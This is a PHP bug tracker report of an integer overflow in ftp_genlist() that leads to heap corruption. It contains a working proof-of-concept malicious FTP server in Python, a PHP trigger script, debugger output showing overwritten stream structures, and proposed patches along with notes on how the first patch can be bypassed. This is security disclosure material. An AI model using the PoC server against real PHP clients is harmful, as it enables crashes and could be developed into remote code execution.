|   | php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
| 
  [2015-04-28 23:55 UTC] maxgeorgspelsberg at gmail dot com
 Description:
------------
The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution.
ext/ftp/ftp.c:ftp_genlist(...)
1826         size = 0;
1827         lines = 0;
1828         lastch = 0;
1829         while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
1830                 if (rcvd == -1) {
1831                         goto bail;
1832                 }
1833
1834                 php_stream_write(tmpstream, data->buf, rcvd);
1835
1836                 size += rcvd;
1837                 for (ptr = data->buf; rcvd; rcvd--, ptr++) {
1838                         if (*ptr == '\n' && lastch == '\r') {
1839                                 lines++; // [0]
1840                         } else {
1841                                 size++; // [1]
1842                         }
1843                         lastch = *ptr;
1844                 }
1845         }
In the above loop `size' or `lines' may overflow (at [0] respectively [1]).
This requires sending more than 2^32 bytes, which will be stored in a tempfile.
1851         ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2]
1852
1853         entry = ret;
1854         text = (char*) (ret + lines + 1);
1855         *entry = text;
1856         lastch = 0;
1857         while ((ch = php_stream_getc(tmpstream)) != EOF) {
1858                 if (ch == '\n' && lastch == '\r') {
1859                         *(text - 1) = 0;
1860                         *++entry = text;
1861                 } else {
1862                         *text++ = ch; // [3]
1863                 }
1864                 lastch = ch;
1865         }
1866         *entry = NULL;
This results in the allocated buffer at [2] being to small to hold the data written to
the tempfile, which results in a heap overflow at [3] when loading the contents of the
tempfile back into memory.
These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs
located on the heap, which may be overwritten, I think that this bug can be leveraged to attain
remote code execution.
Regards,
Max Spelsberg
malicious_server.py
===================
#!/usr/bin/env python2
# coding: utf-8
# based on https://gist.github.com/scturtle/1035886
import os,socket,threading,time
allow_delete = False
local_ip = "localhost"
local_port = 8887
currdir=os.path.abspath('.')
class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)
    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
            self.conn.close()
    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')
    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))
    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()
    # THIS is the interesting part    
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()
        # send 2^32 + 1 bytes of data
        for i in xrange(262144):
            if i % 10000 == 0:
                print "%d" % i
            self.datasock.send("B"*16384)
        self.datasock.send("A\r\n")
        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')
class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)
    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()
    def stop(self):
        self.sock.close()
if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()
buggy.php
=========
<?php
    $id = ftp_connect("localhost", 8887);
    ftp_pasv($id, TRUE);
    var_dump(ftp_rawlist($id, "/"));
?>
Result
======
(lldb) r ./buggy.php
Process 54712 launched: '/usr/bin/php' (x86_64)
Process 54712 stopped
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
    frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown:
->  0x7fff86503056 <+182>: movb   (%rsi,%r8), %cl
    0x7fff8650305a <+186>: movb   %cl, (%rdi,%r8)
    0x7fff8650305e <+190>: subq   $0x1, %rdx
    0x7fff86503062 <+194>: je     0x7fff86503078            ; <+216>
(lldb) register read rsi
     rsi = 0x00000001024243de
(lldb) bt
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
  * frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
    frame #1: 0x000000010031b2c7 php`_php_stream_read + 81
    frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22
    frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614
    frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118
    frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752
    frame #6: 0x00000001003813b0 php`execute_ex + 79
    frame #7: 0x000000010035d592 php`zend_execute_scripts + 482
    frame #8: 0x0000000100308897 php`php_execute_script + 684
    frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653
    frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408
    frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1
(lldb)
[Note that the first three bytes (42, 43, de) of rsi have been overwritten!]
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits             | |||||||||||||||||||||||||||
|  Copyright © 2001-2025 The PHP Group All rights reserved. | Last updated: Fri Oct 31 23:00:01 2025 UTC | 
This should fix the bug (As the bug is marked private, I unfortunately can't add a patch, so I have to resort to adding a new comment): diff --git a/ext/ftp/ftp.c b/ext/ftp/ftp.c index a6e0dfd..b805abe 100644 --- a/ext/ftp/ftp.c +++ b/ext/ftp/ftp.c @@ -1653,7 +1653,7 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC) lines = 0; lastch = 0; while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) { - if (rcvd == -1) { + if (rcvd == -1 || size > INT_MAX - (rcvd * 2)) { goto bail; } After investigating a little bit further I noticed, that the provided test script(s) overwrite a part of the php_stream struct with user controlled data: (lldb) frame variable *stream (php_stream) *stream = { ops = 0x4242424242424242 abstract = 0x4242424242424242 readfilters = { head = 0x4242424242424242 tail = 0x4242424242424242 stream = 0x4242424242424242 } [...] `ops' points to a bunch of function pointers, so arbitrary code execution is much easier to achieve, than I previously thought.It's great to see this bug being fixed. Unfortunately the patch is flawed. In the recv loop (line 1829-1845 in my bug report) `size' can be incremented at two places. Once at `size += rcvd' and also at `size++'. This means that `size' can be incremented by more than `rcvd' per iteration, which results in the added overflow check being bypassable. `size' can be incremented by at most `rcvd * 2' per iteration, which is the reason my previously suggested fix uses `rcvd * 2' and not only `rcvd'. To properly fix the bug I suggest - in addition to the overflow check already in existence - removing the else branch, that increments `size' by one, resulting in `size' only being increased by `rcvd' or less per iteration and thus ensuring the overflow check can't be bypassed. It's also worth noting that said branch isn't necessary for the workings of the function and just needlessly complicates it. Regards, Max Spelsberg == @@ -1663,8 +1663,6 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC) for (ptr = data->buf; rcvd; rcvd--, ptr++) { if (*ptr == '\n' && lastch == '\r') { lines++; - } else { - size++; } lastch = *ptr; }